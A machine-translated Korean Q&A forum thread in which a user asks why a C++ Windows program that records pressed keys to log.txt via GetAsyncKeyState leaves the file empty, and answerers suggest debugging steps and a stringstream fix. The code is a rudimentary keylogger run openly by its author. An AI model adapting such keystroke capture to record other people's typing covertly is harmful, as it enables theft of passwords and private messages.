2011-11-02 6 views
-1

코드 블록에 GNU GCC 컴파일러를 사용하여이 코드를 컴파일 중이지만 어떤 이유로 든 작성한 로그 파일이 무엇이든지간에 공백으로 남습니다. 왜 이런 생각일까요?파일에 키 입력 작성

#include <iostream> 
#include <windows.h> 
#include <string> 
#include <fstream> 

using namespace std; 

int i; 
string s; 

int main() 
{ 
    ofstream log; 
    log.open("log.txt"); 
    while (!GetAsyncKeyState(VK_F8)) { 
     for (i=65; i<90; i++) { 
      if (GetAsyncKeyState(i)) { 
       s+=i; 
      } 
      Sleep(10); 
     } 

     if (GetAsyncKeyState(VK_SPACE)) { 
      s+=" "; 
     } 
    } 

    log << s; 
    log.close(); 
    cin.get(); 
} 
+0

's'가 문자열이고'i'가'int' 인 경우 정확히's + = i;'가 무엇을 기대합니까? –

+0

로그에 * something *을 출력하려고 시도 했습니까? 그냥'log << "TEST";'어딘가에 넣으십시오. – jli

+0

log << "TEST"와 같은 것을 포함하고 있어도 아무 것도 얻지 못합니다 –

답변

1

는 다음과 같은 사항을 고려 잘못된 디렉토리에 log.txt에 찾고있는 대부분의 가능성 :


당신이 상태에서 log << "TEST"을하려고합니까?

(오른쪽 log.open 호출 후)이 시도 : TEST이 파일에 기록됩니다

log.open("log.txt"); 
log << "TEST" << endl; 

경우, 파일은 조건이 참 도착하지 않기 때문에 비어 있습니다.


다른 파일에 표시 할 수없는 문자가 포함되어있을 수 있습니다. 파일을 16 진수 편집기로 덤프하십시오. 파일의 크기가 0이거나 일반 텍스트 편집기에서 표시하지 못할 수있는 데이터가 포함되어 있습니까?


* 편집 : *이 당신이 원하는 것을 수행해야합니다

을 하나 쓰기 당신의 i 또는 log 직접 " " 또는 이제 stringstream을 사용

#include <sstream> 

//... 

ofstream log; 
log.open("log.txt"); 
stringstream str; 
while (!GetAsyncKeyState(VK_F8)) { 
    for (i=65; i<90; i++) { 
     if (GetAsyncKeyState(i)) { 
      str << i; 
     } 
     Sleep(10); 
    } 

    if (GetAsyncKeyState(VK_SPACE)) { 
     str << " "; 
    } 
} 

log << str.rdbuf(); 
log.close(); 
cin.get(); 
+0

로그 << "테스트"<< endl; 키가 눌려지면 활성화되는 if에서도 파일의 아무 곳에서나 작동합니다. 유일한 문제는 지금도 int int i 파일을 작성하지 않는다는 것입니다. 그리고 그것은 제가 알고 자하는 것입니다. 눌려진 키의 가치 –

+0

@HenningJoubert : 대답을 수정하고 가능한 해결책을 추가했습니다. – Atmocreations

0

당신의

1

대신에 대한 if(GetKeyState(0x41))를 사용해보십시오 귀하의 if